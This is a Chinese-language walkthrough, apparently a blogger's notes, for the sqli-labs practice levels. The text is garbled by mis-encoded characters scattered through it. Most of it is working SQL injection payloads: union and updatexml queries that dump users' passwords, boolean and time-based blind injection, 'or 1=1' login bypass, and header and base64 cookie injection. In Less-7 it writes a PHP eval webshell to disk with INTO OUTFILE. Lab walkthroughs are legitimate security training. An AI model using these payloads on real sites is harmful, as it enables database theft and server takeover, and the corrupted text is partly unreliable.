1.單引號(hào)報(bào)錯(cuò)注入
http://ip/Less-1/?id=1' 報(bào)錯(cuò),利用order by 確定字段為3
利用聯(lián)合查詢(xún)進(jìn)行注入
查詢(xún)數(shù)據(jù)庫(kù)名和版本信息
http://ip/Less-1/?id=0' union select 1,database(),version()%23
接著查詢(xún)表名
http://ip/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
再查詢(xún)users表中的字段名
http://ip/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
已經(jīng)得到數(shù)據(jù)庫(kù)名丈甸,表名,表的字段名,接下來(lái)進(jìn)行查詢(xún)表中存放的數(shù)據(jù)厅须。這里查詢(xún)users表中username有巧、password字段的內(nèi)容
http://id/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from security.users%23
2.數(shù)字型報(bào)錯(cuò)注入
http://id/Less-2/?id=1 and 1=2進(jìn)行判斷扭屁,以及使用'+' '-'判斷西剥。
可以直接進(jìn)行注入
還是第一關(guān)步驟一樣粉楚,先查數(shù)據(jù)庫(kù)名和版本音五,再是表名惫撰,字段名,最后查詢(xún)字段內(nèi)容躺涝。
http://ip/Less-2/?id=0 union select 1,database(),version()%23
3.字符串報(bào)錯(cuò)注入
使用單引號(hào)報(bào)錯(cuò)厨钻,查看報(bào)錯(cuò)信息,多了一個(gè)反括號(hào)坚嗜,閉合后再進(jìn)行聯(lián)合查詢(xún)莉撇。
查詢(xún)語(yǔ)句:
http://ip/Less-3/?id=0') union select 1,database(),version()%23
4.雙引號(hào)字符串報(bào)錯(cuò)注入
雙引號(hào)報(bào)錯(cuò)提示
使用雙引號(hào)和反括號(hào)進(jìn)行閉合,再使用聯(lián)合注入查詢(xún)惶傻。
http://ip/Less-4/?id=0") union select 1,database(),version()%23
5.雙單引號(hào)報(bào)錯(cuò)注入
輸入id=1棍郎,正常回顯银室,id=1'涂佃,回顯錯(cuò)誤,id=1''蜈敢,回顯正常辜荠。采用報(bào)錯(cuò)注入。利用函數(shù)updatexml()抓狭,進(jìn)行注入伯病。
查詢(xún)數(shù)據(jù)庫(kù)版本信息
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select version()),0x7e),1)%23
查詢(xún)數(shù)據(jù)庫(kù)名
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
查詢(xún)表名
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
查詢(xún)users表中的字段名
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)%23
查詢(xún)字段內(nèi)容
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)%23
發(fā)現(xiàn)username的字段內(nèi)容不全,是因?yàn)閡pdatexml()最大輸出長(zhǎng)度是32位否过。而floor最大輸出為64位午笛。
也可以更換updatexml()里面的查詢(xún)語(yǔ)句,修改limit 0,1參數(shù)進(jìn)行逐個(gè)查詢(xún)
http://ip/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1)%23
6.雙-雙引號(hào)報(bào)錯(cuò)注入
和上一關(guān)類(lèi)似苗桂,一個(gè)雙引號(hào)報(bào)錯(cuò)药磺,兩個(gè)雙引號(hào)回顯正常
查詢(xún)語(yǔ)句
http://ip/Less-6/?id=1" union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
7.Dump into outfile
輸入一個(gè)id=1,確定回顯的正常頁(yè)面煤伟。
id=1',報(bào)錯(cuò)
id=1",正常
id=1" and 1=2%23,正常癌佩,說(shuō)明 and 1=2沒(méi)有被執(zhí)行木缝,也就是說(shuō)" 被沒(méi)有閉合
id=1')%23,報(bào)錯(cuò)
id=1'))%23,正常
id=1')) and 1=2%23,報(bào)錯(cuò),說(shuō)明and 1=2被執(zhí)行了围辙,閉合條件為id=1'))
根據(jù)題目outfile提示我碟,可以寫(xiě)文件到mysql,但需要絕對(duì)路徑姚建。
這關(guān)很明顯注不出來(lái)絕對(duì)路徑矫俺,回到第一關(guān),使用@@datadir查詢(xún)數(shù)據(jù)庫(kù)路徑。
查詢(xún)語(yǔ)句:
http://ip/Less-1/?id=0' union select 1,2,@@datadir%23
獲得絕對(duì)路徑為/var/lib/mysql/
回到Less-7桥胞,進(jìn)行文件寫(xiě)入
http://ip/Less-7/?id=0')) union select 1,2,into outfile "\var\lib\mysql\1.txt"%23
寫(xiě)入報(bào)錯(cuò)恳守,去到自己服務(wù)器該目錄查看是否寫(xiě)入成功考婴,沒(méi)有寫(xiě)入進(jìn)去贩虾。
開(kāi)始百度找原因~~~寫(xiě)入權(quán)限不夠,回到自己服務(wù)器賦予777權(quán)限沥阱。
使用代碼測(cè)試一下是否有寫(xiě)入權(quán)限
http://ip/Less-7/?id=1')) and (select count(*) from mysql.user)>0%23
回顯正常說(shuō)明有寫(xiě)入權(quán)限缎罢,回顯錯(cuò)誤則沒(méi)有
再一次寫(xiě)入文件,代碼如下
http://ip/Less-7/?id=0')) union select 1,2,"<?php phpinfo();?>" into outfile "\var\lib\mysql\1.php"%23
還是報(bào)錯(cuò)考杉,服務(wù)器路徑還是沒(méi)有文件策精。
(后續(xù)更新~~媽耶,咋搞哇)
我又回來(lái)啦崇棠,接到寫(xiě)
原因找到了
因?yàn)槲沂莇ocker搭的環(huán)境咽袜,寫(xiě)入的目錄為:
/var/lib/docker/overlay2/36c390646f826a816dc68d06fb2dffc94fccadbfdc44d51a20fb8f9f70ee6260/diff/tmp
不要問(wèn)我怎么找出來(lái)的(騰訊云發(fā)短信告訴我這里面有木馬!U硐 Q病!)
最后一次寫(xiě)文件萎坷,代碼如下:
http://ip/Less-7/?id=0')) union select 1,2,'123' into outfile '/tmp/12.txt'%23
雖然報(bào)錯(cuò)凹联,但進(jìn)到那個(gè)蛇皮目錄會(huì)發(fā)現(xiàn)已經(jīng)寫(xiě)進(jìn)去了
都怪我太菜。
寫(xiě)入一句話(huà)木馬:
http://ip/Less-7/?id=0')) union select 1,2,"<?php @eval($_POST['cmd'])?>" into outfile "/tmp/3.php"%23
成功寫(xiě)入
好像少了個(gè) ; 回頭補(bǔ)上哆档,因?yàn)槭莇ocker環(huán)境我就不連菜刀了蔽挠。
8.單引號(hào)盲注
輸入id=1,回顯正常,輸入id=1'瓜浸,無(wú)回顯澳淑;再輸入 id=1' and 1=1%23,回顯正常插佛。
判斷為單引號(hào)閉合的盲注偶惠。
采用布爾盲注進(jìn)行注入。
判斷數(shù)據(jù)庫(kù)長(zhǎng)度
http://ip/Less-8/?id=1' and length(database())>9%23
判斷數(shù)據(jù)庫(kù)長(zhǎng)度是否大于9朗涩,無(wú)回顯忽孽,說(shuō)明數(shù)據(jù)庫(kù)長(zhǎng)度小于9
判斷數(shù)據(jù)庫(kù)長(zhǎng)度是否大于5,回顯正常。
再判斷數(shù)據(jù)庫(kù)長(zhǎng)度是否在于7兄一,回顯正常厘线。
則數(shù)據(jù)庫(kù)長(zhǎng)度小于9大于7,為8出革,再使用代碼確認(rèn)一下
http://ip/Less-8/?id=1' and length(database())=8%23
回顯正常造壮。
接著猜解數(shù)據(jù)庫(kù)名
http://ip/Less-8/?id=1' and left(database(),1)>'a'%23
判斷數(shù)據(jù)庫(kù)第一個(gè)字符是否比 a 大,回顯正確骂束,因?yàn)閿?shù)據(jù)庫(kù)為security耳璧,字母's'的ascii比字母'a'的大,所以返回正確展箱。當(dāng)確定第一個(gè)字母為 s時(shí)旨枯,再確定第二個(gè)字母,比較代碼為:
http://ip/Less-8/?id=1' and left(database(),2)>'sa'%23
回顯正確混驰,'sa'換成'sf'攀隔,回顯錯(cuò)誤。后面的6個(gè)字符判斷套路都是一樣的栖榨,就不演示了昆汹,也可以寫(xiě)個(gè)腳本或者用sqlmap跑。
確定了 數(shù)據(jù)庫(kù)名為'security'婴栽,再去猜解表名满粗。
猜解第一個(gè)表的第一個(gè)字符
http://ip/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101%23
回顯正確,說(shuō)明第一個(gè)表的第一個(gè)字符為e愚争,這里不知道ascii碼編號(hào)的可以百度一下映皆,a為97,b-98准脂,c-99劫扒,d-100,e-101狸膏;
猜解第一個(gè)表的第二個(gè)字符修改沟饥,substr(**,2,1)第二個(gè)參數(shù)即可,substr為分片函數(shù)湾戳。
猜解第二個(gè)表的第一個(gè)字符修改為limit 1,1贤旷;具體用法百度.
依次猜解表名。
猜解表中字段名砾脑,這里以u(píng)sers表為例
http://ip/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)%23
判斷users表中是否有us**字段幼驶,回顯正常說(shuō)明存在,無(wú)回顯說(shuō)明沒(méi)有韧衣。
其實(shí)也可以用length先判斷字段長(zhǎng)度盅藻,再使用二分法來(lái)猜解购桑。
進(jìn)一步判斷username字段是否存在
http://ip/sqllib/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)%23
判斷第二個(gè)字段password也可以采用同樣的方法.
猜解字段內(nèi)容
http://ip/Less-8/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68%23
獲取username中的第一行的第一個(gè)字符的ascii,與68進(jìn)行比較氏淑,即為D勃蜘。
修改limit參數(shù)即可獲取字段內(nèi)容。
9.單引號(hào)時(shí)間盲注
查看源碼假残,回顯界面都無(wú)變化缭贡,sql查詢(xún)語(yǔ)句需要單引號(hào)閉合,采用時(shí)間盲注辉懒。
首先輸入id=1,瀏覽器快速響應(yīng)
在輸入id=1' and sleep(5)%23阳惹,可以發(fā)現(xiàn)瀏覽器要經(jīng)過(guò)一段時(shí)間才能響應(yīng)
這里可以借助burpsuite進(jìn)行測(cè)試。
id=1響應(yīng)為50millis
id=1' and sleep(5)%23響應(yīng)時(shí)間為5057millis
采用if()函數(shù)進(jìn)行判斷眶俩,格式為if(Condition,A,B)
意思是:當(dāng)Condition為true時(shí)莹汤,返回A;當(dāng)Condition為false時(shí)仿便,返回B体啰;
此時(shí)猜解數(shù)據(jù)庫(kù)名的SQL注入語(yǔ)句可以進(jìn)行如下構(gòu)造:
1' and if(ascii(substr(database(),1,1))>96,sleep(5),0)%23
意思是如果數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii大于96攒巍,則執(zhí)行sleep(5)函數(shù)嗽仪,否則返回0
也就是說(shuō)當(dāng)我們看見(jiàn)瀏覽器響應(yīng)時(shí)間變長(zhǎng)了,說(shuō)明if條件語(yǔ)句為真執(zhí)行了sleep函數(shù)柒莉。
因?yàn)閿?shù)據(jù)庫(kù)名為security闻坚,s的ascii碼大于a,所以能借此猜解數(shù)據(jù)庫(kù)名兢孝。
后續(xù)的Condition語(yǔ)句,和Less-8類(lèi)似這里就不重復(fù)了窿凤。
10.雙引號(hào)時(shí)間盲注
和Less-9類(lèi)似,只是單引號(hào)閉合變成雙引發(fā)閉合跨蟹,后面的語(yǔ)句一樣的雳殊。
11.POST-報(bào)錯(cuò)注入
Less1-Less10都為GET請(qǐng)求,Less11開(kāi)始為POST請(qǐng)求窗轩。
可以借助burpsuite進(jìn)行測(cè)試夯秃,或者使用hackbar,記住千萬(wàn)別自動(dòng)更新A∫铡2滞荨!
這里以hackbar為主堤舒,F(xiàn)12開(kāi)始hackbar色建,選上Post data選項(xiàng)。
點(diǎn)擊查看器舌缤,選中輸入框查看傳參變量箕戳,為uname和passwd
在post data中填寫(xiě)數(shù)據(jù)提交某残,回顯頁(yè)面正常。
給uname變量賦予單引號(hào)提交報(bào)錯(cuò)陵吸。
使用永真語(yǔ)句進(jìn)行登錄嘗試
uname=123' or 1=1%23&passwd=123
成功登錄
12.雙引號(hào)報(bào)錯(cuò)注入
以為和Less-11一樣驾锰,只把單引號(hào)變成雙引號(hào)就行,怪我太天真走越,看了源碼才發(fā)現(xiàn)變量uname和$passwd被('')包裹
此時(shí)Post語(yǔ)句為:
uname=1') or 1=1%23&passwd=123
成功登錄
14.Less-14
根據(jù)題目輸入雙引號(hào),報(bào)錯(cuò)
payload:uname=1" or 1=1 %23&passwd=123
15.Less-15
查看源碼旨指,發(fā)現(xiàn)把報(bào)錯(cuò)信息給注釋了赏酥,也就是說(shuō)要盲注,只有當(dāng)注入成功才會(huì)回顯成功信息谆构。
payload:
uname=1' or 1=1%23&passwd=123
16.Less-16
Payload: uname=1") or 1=1%23&passwd=1234
17.Less-17
終于換類(lèi)型了~密碼重置
查看源碼裸扶,發(fā)現(xiàn)過(guò)濾函數(shù)
魔術(shù)引號(hào):在特殊符號(hào)前面添加
get_magic_quotes_gpc ( void ) : bool
返回當(dāng)前 magic_quotes_gpc配置選項(xiàng)的設(shè)置,如果 magic_quotes_gpc 為關(guān)閉時(shí)返回 0搬素,否則返回 1呵晨。在 PHP 5.4.O 起將始終返回 FALSE。
stripslashes()熬尺,刪除反斜杠
一定操作猛如虎摸屠??粱哼?季二??揭措?胯舷??
ctype_digit()檢測(cè)是否為純數(shù)字绊含,是返回true桑嘶,否返回false
mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語(yǔ)句中使用的字符串中的特殊字符
再往下看秋泄,發(fā)現(xiàn)只有uname經(jīng)過(guò)了check_input()函數(shù)览露,而passwd沒(méi)有。而密碼更新語(yǔ)句為:
只需要一個(gè)正確的用戶(hù)名即可重置密碼
則可以構(gòu)造payload:
uname=Dumb&passwd=123
18.Less-18
查看源碼指蚜,發(fā)現(xiàn)用戶(hù)名和密碼都要經(jīng)過(guò)mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 麻裳,只能從User-Agent口蝠,和ip入手,而且要輸入正確的賬戶(hù)密碼才能進(jìn)入insert語(yǔ)句津坑。
手動(dòng)添加User-Agent頭妙蔗,在多添加一個(gè)'),進(jìn)行報(bào)錯(cuò)
也可以使用X-Forwarded-For來(lái)偽造ip
這里采用User-Agent進(jìn)行注入疆瑰,閉合insert語(yǔ)句
User-Agent:1',1,1)#
成功閉合眉反。
進(jìn)行報(bào)錯(cuò)注入payload:
User-Agent:1',1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#
成功注入昙啄,updatexml()報(bào)錯(cuò)注入語(yǔ)法已經(jīng)在前面說(shuō)過(guò)了,這里就不演示了~~
19.Less-19
和Less-18一樣寸五,通過(guò)http頭注入梳凛,但注入位置變成referer了
使用referer:1',1)#進(jìn)行閉合
查詢(xún)數(shù)據(jù)庫(kù)payload:
referer: 1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#
后面的爆表爆字段就不演示了。
20.Less-20
和18梳杏,19一樣為http頭注入韧拒,這里注入地方為cookie,先正常登錄查看cookie格式
格式為:cookie:uname=Dumb
利用hackbar插件構(gòu)造cookie進(jìn)行注入
payload:
Cookie:uname=123 'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
后面的爆表爆字段就不演示了。
21.Less-21
以為后20題一樣十性,只不過(guò)cookee參數(shù)被('')包裹叛溢,進(jìn)行閉合,然后注入劲适,發(fā)現(xiàn)沒(méi)有數(shù)據(jù)出來(lái)
payload:
cookie:uname=123') or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
emmmmmmmmmmm~~~~~~
再仔細(xì)看看源碼~
發(fā)現(xiàn)經(jīng)過(guò)base64編碼楷掉,這就好辦了,把cookie注入語(yǔ)句編碼了再傳輸霞势。
把123') or updatexml(1,concat(0x7e,(select database()),0x7e),1)#進(jìn)行base64編碼烹植,
編碼后結(jié)果為:
MTIzJykgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSM=
寫(xiě)入Cookie,提交
注:這是我使用站長(zhǎng)工具的base64編碼過(guò)不去愕贡,更換了其他網(wǎng)站進(jìn)行編碼草雕,網(wǎng)址:
http://tool.chinaz.com/Tools/Base64.aspx
https://base64.us/
如果有小伙伴知道為什么這兩個(gè)網(wǎng)站base64編碼不一樣的原因請(qǐng)告知下,讓我學(xué)習(xí)學(xué)習(xí)~
22.Less-22
和上一題一樣颂鸿,不過(guò)閉合條件從')變成"
同樣base64加密再傳輸
payload:
Cookie:uname=MTIzIiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIw==
Basic Challenges已經(jīng)全部做完啦促绵,剩余的Advanced Injections攒庵、Stacked Injections嘴纺、Challenges看護(hù)網(wǎng)時(shí)間來(lái)更新~